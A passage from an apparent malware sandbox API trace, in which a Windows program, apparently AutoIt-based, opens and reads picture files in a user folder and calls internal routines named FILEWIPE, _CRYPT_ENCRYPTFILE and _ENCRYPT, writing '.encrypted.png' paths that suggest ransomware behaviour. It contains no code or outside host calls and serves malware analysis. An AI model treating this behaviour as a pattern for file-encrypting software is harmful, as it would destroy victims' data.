lpMsg=0xe8f3dfee40) returned 0 [0028.277] CloseHandle (hObject=0x188) returned 1 [0028.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.278] CloseHandle (hObject=0x1fc) returned 1 [0028.279] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.280] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.280] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\l6fx8sicimwq0qgomdx1.png")) returned 0x20 [0028.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.281] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069dd0 [0028.281] FindClose (in: hFindFile=0xe8f4069dd0 | out: hFindFile=0xe8f4069dd0) returned 1 [0028.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.281] CharLowerBuffW (in: lpsz="byte[30574]", cchLength=0xb | out: lpsz="byte[30574]") returned 0xb [0028.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.281] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.282] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.282] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064710, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0028.283] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.283] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.283] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.284] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.284] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.284] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.285] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.285] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8806) returned 1 [0028.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.285] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2266, lpOverlapped=0x0) returned 1 [0028.286] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2266, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8806) returned 1 [0028.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.encrypted.png\r\n", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0028.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.encrypted.png\r\n", cchWideChar=82, lpMultiByteStr=0xe8f4069f50, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 82 [0028.286] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x51, lpOverlapped=0x0) returned 1 [0028.286] CloseHandle (hObject=0x1fc) returned 1 [0028.287] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.287] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.287] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.287] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.287] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.287] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.288] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.288] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.289] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.289] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.289] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0028.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg", cchWideChar=55, lpMultiByteStr=0xe8f404c410, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg", lpUsedDefaultChar=0x0) returned 55 [0028.289] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\ntfbb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0028.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0xe8f4066ff0, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\NtFBb.jpg") returned 55 [0028.290] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.290] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.291] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.291] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.291] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178380, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.291] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.291] CloseHandle (hObject=0x1fc) returned 1 [0028.291] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.292] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.292] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.292] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.292] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.292] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.293] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 